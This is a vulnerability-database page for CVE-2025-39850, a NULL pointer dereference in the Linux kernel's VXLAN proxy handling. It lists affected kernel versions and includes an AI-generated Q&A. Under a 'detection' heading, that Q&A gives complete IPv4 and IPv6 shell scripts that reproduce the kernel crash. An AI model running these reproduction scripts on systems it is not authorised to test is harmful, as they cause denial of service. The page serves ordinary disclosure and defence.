CVE-2025-39850
BaseFortify
Publication date: 2025-09-19
Last updated on: 2025-12-12
Assigner: kernel.org
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| linux | linux_kernel | From 5.8 (inc) to 6.12.46 (exc) |
| linux | linux_kernel | From 6.13 (inc) to 6.16.6 (exc) |
| linux | linux_kernel | 6.17 |
| linux | linux_kernel | 6.17 |
| linux | linux_kernel | 6.17 |
| linux | linux_kernel | 6.17 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-476 | The product dereferences a pointer that it expects to be valid but is NULL. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
This vulnerability occurs in the Linux kernel's VXLAN implementation when the "proxy" option is enabled. The VXLAN device suppresses ARP requests and IPv6 Neighbor Solicitation messages if it can reply on behalf of a remote host. However, the code incorrectly assumes that the forwarding database (FDB) entry for the neighbor's MAC address points to a valid remote destination. If the entry is associated with an FDB nexthop group instead, this assumption leads to a NULL pointer dereference (NPD) causing a kernel crash. The fix involves verifying the existence of the remote destination before accessing it.
How can this vulnerability impact me? :
This vulnerability can cause a kernel NULL pointer dereference, leading to a system crash or denial of service on affected Linux systems using VXLAN with the proxy option enabled. This can disrupt network communication and potentially impact system availability.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by reproducing the conditions that trigger the NULL pointer dereference in the vxlan_xmit function when the 'proxy' option is enabled on a VXLAN device. The following commands can be used to test for the vulnerability on IPv4: #!/bin/bash ip address add 192.0.2.1/32 dev lo ip nexthop add id 1 via 192.0.2.2 fdb ip nexthop add id 10 group 1 fdb ip link add name vx0 up type vxlan id 10010 local 192.0.2.1 dstport 4789 proxy ip neigh add 192.0.2.3 lladdr 00:11:22:33:44:55 nud perm dev vx0 bridge fdb add 00:11:22:33:44:55 dev vx0 self static nhid 10 arping -b -c 1 -s 192.0.2.1 -I vx0 192.0.2.3 For IPv6, similar commands are: #!/bin/bash ip address add 2001:db8:1::1/128 dev lo ip nexthop add id 1 via 2001:db8:1::1 fdb ip nexthop add id 10 group 1 fdb ip link add name vx0 up type vxlan id 10010 local 2001:db8:1::1 dstport 4789 proxy ip neigh add 2001:db8:1::3 lladdr 00:11:22:33:44:55 nud perm dev vx0 bridge fdb add 00:11:22:33:44:55 dev vx0 self static nhid 10 ndisc6 -r 1 -s 2001:db8:1::1 -w 1 2001:db8:1::3 vx0 Running these scripts can reproduce the kernel NULL pointer dereference if the system is vulnerable. [2, 4]